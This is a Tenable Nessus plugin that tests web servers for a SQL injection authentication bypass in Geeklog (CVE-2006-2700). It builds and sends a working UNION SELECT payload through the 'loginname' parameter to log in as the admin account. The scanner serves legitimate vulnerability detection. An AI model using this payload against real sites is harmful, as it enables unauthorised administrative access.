code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(21619);
script_version("1.20");
script_cvs_date("Date: 2018/11/15 20:50:17");
script_cve_id("CVE-2006-2700");
script_bugtraq_id(18154);
script_name(english:"Geeklog auth.inc.php loginname Parameter SQL Injection");
script_summary(english:"Tries to bypass administrative authentication in Geeklog");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
an authentication bypass issue.");
script_set_attribute(attribute:"description", value:
"The version of Geeklog installed on the remote fails to sanitize input
to the 'loginname' and 'passwd' parameters before using it in the
script 'admin/auth.inc.php' to construct database queries. Provided
PHP's 'magic_quotes_gpc' setting is enabled, an unauthenticated
attacker can exploit this flaw to bypass authentication and gain
administrative access.");
script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/435295/30/0/threaded");
script_set_attribute(attribute:"see_also", value:"https://www.geeklog.net/article.php/geeklog-1.4.0sr3");
script_set_attribute(attribute:"solution", value:
"Upgrade to Geeklog 1.3.11sr6 / 1.4.0sr3 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2006/05/28");
script_set_attribute(attribute:"plugin_publication_date", value:"2006/05/31");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:geeklog:geeklog");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
script_dependencies("geeklog_detect.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
script_require_keys("www/geeklog");
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);
# Test an install.
install = get_kb_item(string("www/", port, "/geeklog"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
dir = matches[2];
init_cookiejar();
# Make sure the affected script exists.
url = string(dir, "/admin/moderation.php");
r = http_send_recv3(method: "GET", item:url, port:port);
if (isnull(r)) exit(0);
# If it does...
if ('name="loginname" value="" ' >< r[2])
{
# Try to exploit the issue to bypass authentication.
uid = 2; # Admin account.
pass = string(unixtime());
sploit = string(SCRIPT_NAME, "' UNION SELECT 3,'", hexstr(MD5(pass)), "','email',", uid, " --");
postdata = string(
"loginname=", urlencode(str:sploit), "&",
"passwd=", pass
);
r = http_send_recv3(method: "POST", version: 11, item: url, data: postdata, port: port,
add_headers: make_array("Content-Type", "application/x-www-form-urlencoded"));
if (isnull(r)) exit(0);
# There's a problem if we have been authenticated.
if (
'meta http-equiv="refresh"' >< r[2] &&
get_http_cookie(name: "gl_session")
)
{
security_warning(port);
set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
exit(0);
}
}
}
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